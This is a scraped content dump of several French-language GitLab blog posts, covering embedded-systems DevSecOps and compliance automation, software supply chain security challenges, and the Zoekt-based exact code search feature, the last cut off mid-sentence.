frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe> \u003C/figure>\n\u003C!-- blank line -->\n\nPlus important encore, en renforçant leur collaboration grâce à l'approche DevSecOps, les équipes parviennent à concevoir des systèmes embarqués totalement novateurs. En effet, la collaboration alimente l'innovation. Par exemple, [une étude](https://www.sciencedirect.com/science/article/abs/pii/S0749597800928887) a démontré que le brainstorming de groupe, lorsqu'il est correctement structuré, génère des idées plus innovantes et créatives que le travail individuel. Dans la course au développement de produits définis par logiciel, le développement collaboratif est donc un facteur clé de succès. \n\n## Défi 4 : les processus manuels de conformité à la sécurité fonctionnelle\n\nDans les secteurs de l'automobile et de l'aérospatiale, les systèmes embarqués doivent respecter des normes strictes de sécurité fonctionnelle, telles que les ISO 26262, MISRA C/C++, DO-178C et DO-254. Les approches traditionnelles de conformité impliquent des revues manuelles, une documentation volumineuse et plusieurs étapes de vérification tardives dans le cycle de développement. Elles créent souvent des goulots d'étranglement lors de la recherche de failles de sécurité. Par exemple, lorsque des scanners spécialisés dans la sécurité et la qualité du code des systèmes embarqués détectent des vulnérabilités, le ticket associé vient s'ajouter à la pile de tickets non résolus. Les développeurs ne peuvent pas intégrer leur code et les équipes de sécurité doivent traiter un important backlog de violations des exigences de conformité. Cette situation ralentit considérablement les délais de mise en conformité et freine l'avancement global du projet. \n\nVoici les principaux défis à relever : \n\n* **Détection tardive des problèmes de conformité** : les anomalies sont découvertes une fois le développement terminé.  \n* **Charge de travail liée à la documentation** : effort manuel important pour créer et maintenir des preuves de conformité.  \n* **Goulots d'étranglement relatifs aux processus** : étapes de conformité réalisées de manière séquentielle, qui bloquent la progression du développement.\n* **Dépendance à l'expertise** : un nombre limité de spécialistes sont sollicités pour les activités de contrôle de la conformité.\n\nEn conséquence, les équipes doivent souvent choisir entre vélocité et conformité, un compromis risqué lorsqu'il s'agit de systèmes critiques pour la sécurité.\n\n### Solution : un workflow automatisé de contrôle de la conformité en matière de sécurité fonctionnelle\n\nPlutôt que de traiter la sécurité et la conformité comme des étapes de vérification post-développement, vous pouvez codifier les exigences de conformité et les appliquer automatiquement via [des frameworks personnalisables dans GitLab](https://about.gitlab.com/blog/introducing-custom-compliance-frameworks-in-gitlab/). Pour ce faire, en particulier pour les normes de sécurité fonctionnelle, vous pouvez intégrer GitLab à des outils spécialisés, capables d’analyser en profondeur les micrologiciels conformément aux normes en vigueur dans ce domaine. Parallèlement, GitLab propose des contrôles de conformité automatisés, des pistes d'audit complètes et un contrôle rigoureux des merge requests : autant de fonctionnalités essentielles pour prendre en charge un programme de conformité logicielle continue robuste. \n\nVoici les composants de cette approche intégrée :\n\n* **Compliance-as-Code :** définissez les exigences de conformité sous forme de contrôles automatisés.  \n* **Intégration d'outils spécialisés :** connectez des outils tels que CodeSonar à la plateforme DevSecOps pour valider les exigences de conformité propres au secteur automobile.  \n* **Vérification continue de la conformité :** évaluez la conformité tout au long du cycle de développement.  \n* **Collecte automatisée des preuves :** rassemblez les artefacts de conformité comme un sous-produit du développement.\n\nDécouvrez dans cette vidéo comment tirer parti des frameworks de conformité personnalisés dans GitLab afin de créer vos propres politiques de conformité adaptées aux normes en vigueur (par exemple, ISO 26262) et comment les appliquer automatiquement à vos projets dans GitLab.\n\n\u003C!-- blank line -->\n\n\u003Cfigure class=\"video_container\"> \u003Ciframe src=\"https://www.youtube.com/embed/S-FQjzSyVJw?si=0UdtGNuugLPG0SLL\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe> \u003C/figure>\n\u003C!-- blank line -->\n\nEn contrôlant la conformité en amont et en l'intégrant naturellement dans vos workflows de développement existants, vous pouvez maintenir les normes de sécurité sans compromettre la vélocité. Les contrôles automatisés détectent les problèmes à un stade précoce, lorsqu'ils sont plus faciles et moins coûteux à résoudre, tandis que la collecte continue de preuves réduit la charge de travail liée à la gestion de la documentation.\n\n## Accélérez la livraison de vos logiciels avec les systèmes embarqués \n\nLe développement de systèmes embarqués connaît une transformation rapide. Les équipes qui s'en tiennent à des processus manuels et des workflows isolés seront de plus en plus à la traîne, tandis que celles qui adoptent des pratiques automatisées et collaboratives dessineront l'avenir des systèmes intelligents définis par logiciel.\n\nPour vous lancer, explorez notre [atelier DevOps dédié aux systèmes embarqués](https://gitlab.com/guided-explorations/embedded/workshops/embedded-devops-workshop-refactoring-to-ci) et commencez à automatiser vos workflows de développement de systèmes embarqués avec GitLab. Vous pouvez également [regarder cette présentation par le Field Chief Cloud Architect de GitLab](https://content.gitlab.com/viewer/0a35252831bd130f879b0725738f70ed) pour découvrir comment les entreprises leader intègrent les tests matériels dans leurs workflows d'intégration continue afin d'accélérer la livraison de leurs systèmes embarqués.",[],{"slug":876,"featured":6,"template":683},"4-ways-to-accelerate-embedded-development-with-gitlab","content:fr-fr:blog:4-ways-to-accelerate-embedded-development-with-gitlab.yml","4 Ways To Accelerate Embedded Development With Gitlab","fr-fr/blog/4-ways-to-accelerate-embedded-development-with-gitlab.yml","fr-fr/blog/4-ways-to-accelerate-embedded-development-with-gitlab",{"_path":882,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":883,"content":886,"config":894,"_id":896,"_type":16,"title":897,"_source":17,"_file":898,"_stem":899,"_extension":20},"/fr-fr/blog/software-supply-chain-security-guide-why-organizations-struggle",{"noIndex":6,"title":884,"description":885},"Sécurité de la chaîne d'approvisionnement : quels enjeux ?","La partie 1 de cette nouvelle série présente les défis inhérents au développement logiciel, les solutions pratiques et les tendances émergentes (IA et autres).",{"title":884,"description":885,"authors":887,"heroImage":889,"date":890,"body":891,"category":673,"tags":892},[888],"Itzik Gan Baruch","https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097701/Blog/Hero%20Images/Blog/Hero%20Images/blog-image-template-1800x945%20%285%29_1iy516k40hwBDChKcUJ2zb_1750097700983.png","2025-07-24","La plupart des équipes de développement considèrent que la sécurité de la chaîne d'approvisionnement logicielle dépend de la qualité de l'analyse des vulnérabilités ou de la gestion des dépendances. Toutefois, cette vision dangereusement étriquée cache une autre réalité.\n\n**La sécurité de la chaîne d'approvisionnement logicielle ne se limite pas à l'analyse des dépendances.** Elle concerne l'ensemble du cycle de développement, de l'écriture du code au déploiement en production :\n\n* **La sécurité des sources :** consiste à protéger les dépôts de code, gérer l'accès des contributeurs, garantir l'intégrité du code  \n* **La sécurité des compilations :** permet de sécuriser les environnements de compilation, d'empêcher toute altération pendant la compilation et l'empaquetage  \n* **La sécurité des artefacts :** s'attache à garantir l'intégrité des conteneurs, des paquets et des artefacts de déploiement  \n* **La sécurité du déploiement :** vise à sécuriser les mécanismes de livraison et les environnements d'exécution  \n* **La sécurité des outils :** s'efforce de sécuriser directement les outils et plateformes utilisés pour développer les logiciels\n\nLe terme « chaîne » dans l'expression « sécurité de la chaîne d'approvisionnement logicielle » fait référence à toutes ces étapes interconnectées pour créer et livrer des logiciels. Une faiblesse à n'importe quelle maillon de la chaîne peut compromettre l'ensemble du processus.\n\nL'[attaque contre SolarWinds en 2020](https://www.cisa.gov/news-events/news/joint-statement-federal-bureau-investigation-fbi-cybersecurity-and-infrastructure-security) illustre parfaitement cette problématique. Lors d'une des plus grandes attaques de la chaîne d'approvisionnement logicielle de ces dernières années, des attaquants, parrainés par un État, ont compromis le pipeline de compilation du logiciel de gestion de réseau Orion de SolarWinds. Plutôt que d'exploiter une dépendance vulnérable ou de pirater l'application finale, ils ont injecté du code malveillant pendant le processus de compilation lui-même.\n\nLe résultat a été dévastateur : plus de 18 000 clients de SolarWinds, y compris plusieurs agences gouvernementales américaines, ont installé sans le savoir des logiciels avec des portes dérobées alors qu'elles effectuaient leur mise à jour logicielle habituelle. Le code source d'origine était propre, l'application finale semblait totalement légitime, mais c'est lors du processus de compilation que le code malveillant se déployait. Cette attaque est passée inaperçue pendant des mois. Elle est la preuve incontestable que les mesures de sécurité traditionnelles ne font pas le poids contre l'exploitation des failles au niveau de la chaîne d'approvisionnement logicielle.\n\n### Les idées reçues qui mettent en danger les entreprises\n\nMalgré une prise de conscience croissante des menaces qui pèsent sur la chaîne d'approvisionnement logicielle, de nombreuses entreprises restent vulnérables, car elles ne comprennent pas tous les tenants et les aboutissants de la sécurité de cette chaîne. Voici les idées reçues les plus dangereuses concernant la sécurité de la chaîne d'approvisionnement logicielle :\n\n* Elle se résume à l'analyse des dépendances  \n* Elle se limite aux composants open source, en ignorant les risques liés au code propriétaire  \n* La signature de code suffit à la garantir  \n* Les bonnes pratiques de développement sécurisé sont supposées éliminer les risques qui pèsent sur elle  \n* La responsabilité est attribuée uniquement à l'équipe de sécurité et non à l'ensemble des collaborateurs impliqués dans le workflow de développement\n\n![Diagramme de dépendance de la sécurité de la chaîne d'approvisionnement logicielle](https://res.cloudinary.com/about-gitlab-com/image/upload/v1753200077/kqndvlxyvncshdiq0xea.png)\n\n## L'IA, synonyme de changement\n\nAlors que les équipes de développement doivent déjà relever les défis de sécurité traditionnels de la chaîne d'approvisionnement logicielle, l'intelligence artificielle (IA) introduit de nouveaux vecteurs d'attaque et amplifie comme jamais ceux déjà présents.\n\n### Des attaques plus sophistiquées et évolutives\n\nLes attaquants exploitent désormais l'IA pour automatiser la découverte des vulnérabilités, générer des attaques de type ingénierie sociale avec des messages très convaincants qui ciblent les développeurs et analyser systématiquement les codes sources publics pour en détecter les faiblesses. Ces opérations autrefois manuelles sont désormais réalisées à grande échelle, rapidement et avec une grande précision.\n\n### De nouveaux risques\n\nNon seulement l'IA modifie l'ensemble du cycle de développement, mais elle introduit des lacunes importantes en matière de sécurité :\n\n* **Attaques de la chaîne d'approvisionnement logicielle des modèles :** les modèles pré-entraînés provenant de sources telles que Hugging Face ou GitHub peuvent contenir des portes dérobées ou des données d'entraînement corrompues.  \n* **Manque de protection du code généré par l'IA :** les développeurs qui utilisent des assistants IA pour le code peuvent introduire involontairement des modèles vulnérables ou des dépendances dangereuses.  \n* **Compromission des chaînes d'outils alimentées par l'IA :** l'infrastructure pour entraîner, déployer et gérer les modèles d'IA constitue une nouvelle surface d'attaque.  \n* **Reconnaissance automatisée :** en s'aidant de l'IA, les attaquants scannent l'ensemble de l'écosystème d'une entreprise pour identifier des cibles stratégiques au sein de la chaîne d'approvisionnement logicielle.  \n* **Shadow AI et outils non approuvés :** les développeurs peuvent intégrer des outils d'IA externes qui n'ont pas été approuvés.\n\nRésultat ? L'IA introduit non seulement de nouvelles vulnérabilités, mais elle amplifie aussi l'ampleur et la gravité des failles de sécurité existantes. Les entreprises ne peuvent plus s'appuyer sur des améliorations incrémentielles. Les pratiques de sécurité peinent à suivre le rythme effréné d'évolution des menaces.\n\n![Effet d'amplification de l'IA](https://res.cloudinary.com/about-gitlab-com/image/upload/v1753200139/xuxezxld6ztlvjocgjlx.png)\n\n## Des entreprises à la traîne\n\nMême les entreprises conscientes des enjeux de sécurité de la chaîne d'approvisionnement logicielle ne parviennent souvent pas à agir efficacement. Les statistiques sont inquiétantes et sans appel : la prise de conscience est réelle, mais les comportements ne changent pas.\n\nEn 2021, [Colonial Pipeline a dû verser 4,4 millions de dollars à des pirates informatiques](https://www.cnn.com/2021/05/19/politics/colonial-pipeline-ransom/index.html) pour rétablir ses opérations. Peu avant, 18 000 entreprises ont été victimes de l'attaque SolarWinds. Le signal était clair : les failles de sécurité au sein de la chaîne d'approvisionnement logicielle peuvent mettre à mal des infrastructures critiques et exposer des données sensibles à une échelle sans précédent.\n\nPourtant, malgré cette prise de conscience, la majorité des entreprises continuent leurs activités comme si de rien n'était. Alors pourquoi ne mettent-elles pas en place des mesures de protection efficaces ?\n\nLa réponse repose sur quatre obstacles de taille :\n\n**1. La fausse logique économique**\n\nCertaines entreprises privilégient le coût immédiat plutôt que d'identifier l'approche la plus efficace. Cette vision centrée sur les économies à court terme finit par engendrer des problèmes à l'origine de dépenses imprévues.\n\n**2. Une pénurie de compétences**\n\nSelon l'étude BSIMM, on compte [4 professionnels de la sécurité pour 100 développeurs, en moyenne](https://codific.com/bsimm-building-security-in-maturity-model-a-complete-guide/), et [90 % des entreprises déclarent une pénurie critiques de talents en cybersécurité](https://www.isc2.org/Insights/2024/09/Employers-Must-Act-Cybersecurity-Workforce-Growth-Stalls-as-Skills-Gaps-Widen), selon ISC2. Dans ces conditions, il est tout simplement impossible de faire évoluer les approches traditionnelles.\n\n**3. Des objectifs de performance incohérents**\n\nLes Objective and Key Results (OKR) des développeurs, principalement axés sur la vélocité des fonctionnalités, sont différents de ceux des équipes de sécurité. Lorsque les dirigeants donnent la priorité à la rapidité de mise sur le marché plutôt qu'à la posture de sécurité, les frictions deviennent inévitables.\n\n**4. Prolifération des outils**\n\nUne [entreprise moyenne utilise 45 outils de cybersécurité](https://www.gartner.com/en/newsroom/press-releases/2025-03-03-gartner-identifiesthe-top-cybersecurity-trends-for-2025), qui génèrent [40 % de faux positifs](https://www.ponemon.org/news-updates/blog/security/new-ponemon-study-on-malware-detection-prevention-released.html). [Chaque incident nécessite de coordonner 19 outils en moyenne](https://newsroom.ibm.com/2020-06-30-IBM-Study-Security-Response-Planning-on-the-Rise-But-Containing-Attacks-Remains-an-Issue).\n\nCes obstacles créent un cercle vicieux : les entreprises reconnaissent la menace, investissent dans des solutions de sécurité, mais leur mise en œuvre n'aboutit pas aux résultats souhaités.\n\n## Le coût de l'insécurité de la chaîne d'approvisionnement logicielle\n\nLes attaques de la chaîne d'approvisionnement logicielle engendrent des risques et des dépenses qui ne s’arrêtent pas une fois la faille corrigée. Comprendre ces effets multiplicateurs cachés permet de saisir pourquoi la prévention n'est pas une option, mais indispensable pour assurer la continuité des activités.\n\n**Des délais beaucoup trop longs**\n\n* [277 jours](https://keepnetlabs.com/blog/171-cyber-security-statistics-2024-s-updated-trends-and-data) nécessaires, en moyenne, pour identifier et contenir une faille de sécurité dans la chaîne d'approvisionnement logicielle : \n*[De 2 à 3 ans, voire plus](https://www.bcg.com/publications/2024/rebuilding-corporate-trust) nécessaires pour regagner la confiance des clients   \n* De nombreuses heures d'ingénierie dédiées chaque année à la remédiation de la sécurité et non au développement de produits\n\n**Des attaques qui nuisent à la réputation des entreprises** \n\nLorsque votre chaîne d'approvisionnement logicielle est compromise, il ne s'agit pas seulement de données volées — c'est la confiance des clients qui est ébranlée. En moyenne, le [taux d'attrition des clients augmente de 33 % après une atteinte à la sécurité](https://www.metacompliance.com/blog/data-breaches/5-damaging-consequences-of-a-data-breach), tandis que le maintien de bonnes relations avec les partenaires nécessite souvent des recertifications coûteuses. Le positionnement concurrentiel en pâtit, car les prospects choisissent des alternatives qu'ils perçoivent comme « plus sûres ».\n\n**Une pression réglementaire en forte augmentation** \n\nLes réglementations se sont radicalement renforcées ces dernières années. [Les amendes liées au non-respect du RGPD dépassent désormais en moyenne les 50 millions de dollars pour les violations de données importantes](https://www.skillcast.com/blog/20-biggest-gdpr-fines). Le nouveau [Règlement sur la cyberrésilience](https://about.gitlab.com/blog/gitlab-supports-banks-in-navigating-regulatory-challenges/#european-cyber-resilience-act-\\(cra\\) de l'UE impose des obligations de transparence au niveau de la chaîne d'approvisionnement. Les entrepreneurs qui honorent des contrats avec le gouvernement fédéral américain sont tenus de fournir une nomenclature logicielle ([SBOM](https://about.gitlab.com/fr-fr/blog/the-ultimate-guide-to-sboms/)) pour chaque achat de logiciels, une exigence qui se propage rapidement au secteur privé.\n\n**Une multiplication des perturbations opérationnelles** \n\nAu-delà des coûts directs, les attaques de la chaîne d'approvisionnement logicielle déclenchent souvent un chaos opérationnel : arrêt des plateformes pendant la phase de remédiation, audits de sécurité d'urgence sur l'ensemble de la pile technologique, frais juridiques liés aux poursuites engagées par les clients et aux enquêtes réglementaires.\n\n## Des approches inadaptées\n\nLa plupart des entreprises confondent activité de sécurité et impact sur la sécurité. Elles déploient des scanners, génèrent des rapports interminables et relancent les équipes via un processus manuel pour qu'elles mettent en place les corrections nécessaires. Mais ces efforts ont souvent l’effet inverse de celui recherché : ils génèrent plus de problèmes qu'ils n'en résolvent.\n\n### Scanning massif ou protection efficace\n\nLes entreprises génèrent plus de [10 000 alertes de sécurité chaque mois, les plus actives produisant environ 150 000 événements par jour](https://www.securityweek.com/enterprises-generate-10000-security-events-day-average-report/). [Mais 63 %](https://panther.com/blog/identifying-and-mitigating-false-positive-alerts) de ces alertes sont des faux positifs ou ne sont pas prioritaires. Les équipes de sécurité sont submergées. Elles n'arrivent plus à suivre le rythme et leur rôle de facilitateur s'en trouve compromis.\n\n### Une collaboration ralentie\n\nLes entreprises les plus sécurisées ne sont pas celles qui disposent du plus grand nombre d'outils, mais celles qui bénéficient de la meilleure collaboration DevSecOps. Or, la plupart des configurations actuelles ne sont pas adaptées, car elles divisent les workflows entre des outils incompatibles, les développeurs n'ont pas accès aux résultats de sécurité dans leur environnement et les différentes équipes n'ont aucune visibilité sur les risques et l'impact métier.\n\n## La voie à suivre\n\nComprendre ces défis est la première étape vers la mise en place d'une sécurité efficace de la chaîne d'approvisionnement logicielle. Les entreprises les plus performantes ne multiplient pas les outils de sécurité, elles repensent en profondeur la façon dont elles intègrent la sécurité à leurs workflows de développement. Elles s'attachent à simplifier les processus, à réduire la complexité technologique et à renforcer la collaboration entre les équipes.\n\nLa plateforme DevSecOps unifiée de GitLab permet de relever ces défis en intégrant la sécurité directement au workflow de développement logiciel. en s'appuyant sur des capacités natives conçues pour les développeurs, et en tirant parti de l'automatisation alimentée par l'IA. Dans le prochain article de cette série, nous vous expliquerons comment les entreprises leaders mettent concrètement en œuvre cette approche pour renforcer la sécurité de leur chaîne d'approvisionnement logicielle.\n> Pour en savoir plus, consultez également notre page web sur les [solutions de sécurité GitLab dédiées à la chaîne d'approvisionnement logicielle](https://about.gitlab.com/fr-fr/solutions/supply-chain/).",[849,852,893],"tutoriel",{"featured":92,"template":683,"slug":895},"software-supply-chain-security-guide-why-organizations-struggle","content:fr-fr:blog:software-supply-chain-security-guide-why-organizations-struggle.yml","Software Supply Chain Security Guide Why Organizations Struggle","fr-fr/blog/software-supply-chain-security-guide-why-organizations-struggle.yml","fr-fr/blog/software-supply-chain-security-guide-why-organizations-struggle",{"_path":901,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":902,"content":905,"config":914,"_id":916,"_type":16,"title":917,"_source":17,"_file":918,"_stem":919,"_extension":20},"/fr-fr/blog/exact-code-search-find-code-faster-across-repositories",{"noIndex":6,"title":903,"description":904},"Trouvez rapidement du code dans vos dépôts GitLab","Découvrez comment trouver des correspondances exactes, utiliser des motifs regex et afficher des résultats contextuels dans des codes sources de plusieurs téraoctets. ",{"title":906,"description":904,"authors":907,"heroImage":909,"date":910,"body":911,"category":676,"tags":912},"Recherche exacte de code : trouvez rapidement du code dans vos dépôts",[908],"Dmitry Gruzd","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749675154/Blog/Hero%20Images/blog-image-template-1800x945__8_.png","2025-07-23","Imaginez pouvoir cibler n'importe quelle ligne de code parmi 48 To de dépôts\nen quelques millisecondes. Ceci est désormais possible avec la\nfonctionnalité de [recherche exacte de\ncode](https://docs.gitlab.com/ee/user/search/exact_code_search.html) de\nGitLab qui fournit une précision extrême, une prise en charge avancée des\nexpressions régulières (regex) et des résultats contextuels sur plusieurs\nlignes. En présence de dépôts de code volumineux, cette fonctionnalité\nfacilite considérablement le travail des équipes.\n\n\n## Pourquoi la recherche de code traditionnelle est-elle problématique ?\n\n\nToute personne travaillant avec du code connaît la frustration de devoir chercher du code dans plusieurs dépôts. Qu'il s'agisse de déboguer un problème, d'examiner des fichiers de configuration, de rechercher des vulnérabilités, de mettre à jour une documentation ou de vérifier la mise en œuvre d'un projet, vous savez exactement ce que vous cherchez, mais les outils de recherche traditionnels vous font régulièrement défaut.\n\n\nCes outils renvoient trop souvent des dizaines de faux positifs, manquent cruellement de contexte pour comprendre les résultats obtenus et sont de plus en plus lents à mesure que le code source s’étoffe. Par conséquent, vous perdez un temps précieux à chercher une aiguille dans une botte de foin au lieu de compiler, de sécuriser ou d'améliorer votre logiciel.\n\n\nLa fonctionnalité de recherche de code de GitLab était jusqu'ici prise en charge par Elasticsearch ou OpenSearch. Bien qu'excellents pour rechercher des tickets, des merge requests, des commentaires et d'autres données contenant du langage naturel, ces outils n'ont tout simplement pas été spécifiquement conçus pour le code. Après [avoir évalué de nombreuses options](https://gitlab.com/groups/gitlab-org/-/epics/7404), nous avons développé une meilleure solution.\n\n\n## Qu'est-ce que la recherche exacte de code ?\n\n\nLa **[recherche exacte de code](https://docs.gitlab.com/ee/user/search/exact_code_search.html)** de GitLab est actuellement en phase de test bêta et optimisée par [Zoekt](https://github.com/sourcegraph/zoekt) (prononcé « zookt », qui signifie « recherche » en néerlandais). Zoekt est un moteur de recherche de code open source initialement développé par Google et aujourd'hui maintenu par Sourcegraph. Conçu spécifiquement pour une recherche de code à la fois rapide et précise à grande échelle, nous l'avons enrichi avec des intégrations propres à GitLab, des améliorations avancées et une intégration facilitée du système d'autorisations.\n\n\nCette fonctionnalité révolutionne la manière dont vous recherchez et comprenez le code grâce aux trois éléments clés :\n\n\n**1. Un mode de recherche par correspondance exacte**\n\n\nLorsque vous basculez en **mode de recherche par correspondance exacte**, le moteur de recherche ne renvoie que les résultats qui correspondent exactement à votre requête, éliminant ainsi les faux positifs. Cette précision est inestimable dans les cas de figure suivants :\n\n\n* Vous recherchez des messages d'erreur spécifiques.\n\n* Vous recherchez des signatures de fonctions précises.\n\n* Vous recherchez des instances de noms de variables spécifiques.\n\n\n**2. Un mode de recherche par expression régulière**\n\n\nPour les recherches complexes, ce mode vous permet de créer des motifs de recherche sophistiqués :\n\n\n* Trouvez des fonctions selon des motifs de nommage spécifiques.\n\n* Déterminez l’emplacement des variables qui correspondent à certains critères précis.\n\n* Identifiez les failles de sécurité potentielles à l'aide de la correspondance de motifs.\n\n\n**3. Des correspondances sur plusieurs lignes**\n\n\n![Recherche exacte de code](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750704179/ttjuilkt3v7gtyywnchx.png)\n\n\nEn plus de la ligne contenant le code recherché, vous avez accès au contexte environnant qui est indispensable pour bien comprendre le code. Vous n'avez donc plus besoin d'accéder aux fichiers dans le seul but d'obtenir un contexte plus clair, ce qui accélère considérablement votre workflow.\n\n\n## Des fonctionnalités aux workflows : cas d'utilisation et impact associé \n\n\nExaminons maintenant comment ces nouvelles capacités se traduisent dans le quotidien des équipes de développement  :\n\n\n### Débogage en quelques secondes\n\n\nVoici un exemple de workflow tel qu'il pouvait être envisagé avant que la recherche exacte de code ne soit disponible : vous deviez copier un message d'erreur, lancer une recherche, parcourir une longue liste de correspondances partielles dans les commentaires, la documentation et les fragments de code, cliquer sur plusieurs fichiers... avant de trouver enfin la ligne de code que vous recherchiez.\n\n\nAvec la recherche exacte de code, le processus est le suivant : \n\n\n1. Vous copiez le message d'erreur exact. \n\n2. Vous le collez dans la fonctionnalité de recherche exacte de code en activant le mode de recherche par correspondance exacte.\n\n3. Vous trouvez instantanément l'emplacement précis où l'erreur est présente, avec le contexte environnant nécessaire à sa compréhension.\n\n\n**Impact :** vous réduisez ainsi le temps de débogage de plusieurs minutes à quelques secondes, sans frustration ni faux positifs.\n\n\n### Exploration rapide de codes sources inconnus\n\n\nVoici un exemple de workflow tel qu'il pouvait être envisagé avant que la recherche exacte de code ne soit disponible : vous deviez parcourir les répertoires, deviner l'emplacement probable des fichiers, ouvrir des dizaines de fichiers et élaborer peu à peu une compréhension globale du code source.\n\n\nAvec la recherche exacte de code, le processus est le suivant : \n\n\n* Vous recherchez directement les méthodes ou classes principales avec le mode de recherche par correspondance exacte.\n\n* Vous examinez plusieurs correspondances de lignes pour comprendre les détails de leur mise en œuvre.\n\n* Vous utilisez le mode de recherche par expression régulière pour identifier des motifs similaires dans l'ensemble du code source.\n\n\n**Impact :** vous bénéficiez d'une vision claire de l'architecture du code en quelques minutes plutôt qu'en quelques heures, ce qui accélère considérablement l'intégration de nouveaux membres au sein de l'équipe ainsi que la collaboration transversale.\n\n\n### Refactorisation sécurisée\n\n\nVoici un exemple de workflow tel qu'il pouvait être envisagé avant que la recherche exacte de code ne soit disponible : vous deviez localiser toutes les occurrences d'une méthode, mais certaines passaient inaperçues, et vous introduisiez des bogues en raison d'une refactorisation incomplète.\n\n\nAvec la recherche exacte de code, le processus est le suivant : \n\n\n* Vous utilisez le mode de recherche par correspondance exacte pour identifier toutes les occurrences de méthodes ou de variables.\n\n* Vous examinez le contexte pour comprendre les motifs d'utilisation.\n\n* Vous planifiez votre refactorisation avec des informations complètes sur son impact.\n\n  **Impact :** vous éliminez les bogues liés aux « occurrences manquées » qui entravent souvent les efforts de refactorisation, vous améliorez la qualité du code et vous réduisez les ajustements nécessaires.\n\n### Audit de sécurité optimisé\n\n\nLes équipes de sécurité peuvent :\n\n\n* Créer des motifs regex ciblant les portions de code présentant des vulnérabilités connues\n\n* Effectuer une recherche dans tous les dépôts d'un espace de nommage\n\n* Identifier rapidement les failles de sécurité potentielles avec un contexte facilitant l'évaluation des risques\n\n\n**Impact :** vous transformez vos audits de sécurité, souvent manuels et sujets aux erreurs, en revues systématiques et exhaustives.\n\n\n### Informations recoupées entre plusieurs dépôts\n\n\nVos équipes peuvent effectuer une recherche dans l'ensemble de votre espace de nommage ou de votre instance pour :\n\n\n* Identifier des implémentations similaires dans différents projets\n\n* Identifier des opportunités de création de bibliothèques partagées ou de standardisation du code\n\n\n**Impact :** vous éliminez les silos entre les projets et identifiez les opportunités de réutilisation et de standardisation du code.\n\n\n## Zoekt : rapidité et précision au service du code\n\n\nAvant de détailler nos réalisations à grande échelle, explorons ce qui distingue Zoekt des moteurs de recherche traditionnels, et pourquoi il peut trouver des correspondances exactes aussi rapidement.\n\n\n### Trigrammes positionnels : le secret d'une correspondance exacte ultra-rapide\n\n\nLa rapidité de Zoekt provient de son utilisation de **trigrammes positionnels**, une technique qui indexe chaque séquence de trois caractères en conservant leur position exacte dans les fichiers. Cette approche résout l'un des plus grands défis que les équipes de développement rencontrent avec la recherche de code basée sur Elasticsearch : les faux positifs.\n\n\nVoici le principe :\n\n\nLes **moteurs de recherche plein texte traditionnels** comme Elasticsearch segmentent le code en mots isolés et perdent ainsi les informations de position. Par exemple, lorsque vous recherchez `getUserId()`, ils peuvent renvoyer des résultats contenant les fragments **user**, **get** et **Id** dispersés dans un même fichier, ce qui génère des faux positifs, source de frustration pour les utilisateurs de GitLab.\n\n\nLes **trigrammes positionnels de Zoekt**, quant à eux, conservent les séquences de caractères exactes ainsi que leurs positions dans le code. Ainsi, lorsque vous recherchez `getUserId()`, Zoekt cible précisément les trigrammes exacts, comme **get**, **etU**, **tUs**, **Use**, **ser**, **erI**, **rId**, **Id(\", \"d()**, dans cette séquence précise et à ces positions exactes. Cette approche garantit que seules les correspondances exactes sont renvoyées.\n\n\nAinsi, des recherches qui renvoyaient auparavant des centaines de faux positifs ne renvoient désormais plus que les correspondances exactes souhaitées. Cette fonctionnalité était [l'une des plus demandées](https://gitlab.com/gitlab-org/gitlab/-/issues/325234) pour une bonne raison : les équipes de développement perdaient beaucoup trop de temps à passer au crible les faux positifs.\n\n\n### Performances des expressions régulières à grande échelle\n\n\nZoekt excelle dans la recherche de correspondances exactes, mais est également optimisé pour les recherches d'expressions régulières. Grâce à des algorithmes sophistiqués, il convertit les motifs regex en requêtes trigrammes efficaces lorsque cela est possible, garantissant ainsi une rapidité constante, même pour les recherches de motifs complexes portant sur plusieurs téraoctets de code.\n\n\n## Une fonctionnalité adaptée aux entreprises\n\n\nLa recherche exacte de code est puissante et conçue pour gérer de très grands volumes de code tout en offrant des temps de réponse remarquables. Il ne s'agit pas du simple ajout d'une nouvelle fonctionnalité à l'interface utilisateur, mais d'une architecture backend entièrement repensée.\n\n\n### Gestion de plusieurs téraoctets de code en toute simplicité\n\n\nRien que sur GitLab.com, notre infrastructure de recherche exacte de code indexe et interroge plus de **48 To** de données de code, tout en offrant des temps de réponse ultra-rapides. Cette volumétrie couvre des millions de dépôts répartis dans des milliers d'espaces de nommage, tous consultables en seulement quelques millisecondes, soit plus de code que l'ensemble des projets du noyau Linux, d'Android et de Chromium combinés. Et pourtant, la recherche exacte de code peut trouver une ligne spécifique dans l'ensemble du code source en quelques millisecondes seulement.\n\n\n### Architecture de nœuds à enregistrement automatique\n\n\nParmi nos améliorations techniques, voici quelques innovations clés : \n\n\n* **Enregistrement automatique des nœuds :** les nœuds Zoekt s'enregistrent automatiquement auprès de GitLab.\n\n* **Attribution dynamique des partitions :** le système attribue automatiquement les espaces de nommage entre les nœuds.\n\n* **Surveillance de l'état :** les nœuds qui ne s'enregistrent pas sont automatiquement signalés comme hors ligne.\n\n\nCette architecture à configuration automatique simplifie considérablement la montée en charge. Lorsque la capacité doit être augmentée, les administrateurs peuvent tout simplement ajouter de nouveaux nœuds, sans aucune reconfiguration complexe.\n\n\n### Système distribué avec répartition de charge intelligente\n\n\nEn arrière-plan, la recherche exacte de code repose sur un système distribué comprenant les composants clés suivants :\n\n\n* **Nœuds de recherche spécialisés :** serveurs dédiés pour gérer l'indexation et la recherche\n\n* **Partitionnement intelligent :** le code est réparti entre les nœuds en fonction des espaces de nommage\n\n* **Équilibrage automatique de la charge :** le système répartit intelligemment le travail en fonction des capacités disponibles\n\n* **Haute disponibilité :** plusieurs réplicas assurent la continuité du service même en cas de défaillance d'un nœud\n\n\n*Remarque : la haute disponibilité fait partie intégrante de l'architecture, mais n'est pas encore entièrement déployée. Consultez le [ticket 514736](https://gitlab.com/gitlab-org/gitlab/-/issues/514736) pour vous tenir au courant des futures mises à jour.*\n\n\n### Intégration sans accroc de la sécurité\n\n\nLa recherche exacte de code s'intègre automatiquement au système d'autorisation de GitLab :\n\n\n* Les résultats de recherche sont filtrés en fonction des droits d'accès de chaque utilisateur.\n\n* Seul le code des projets auxquels 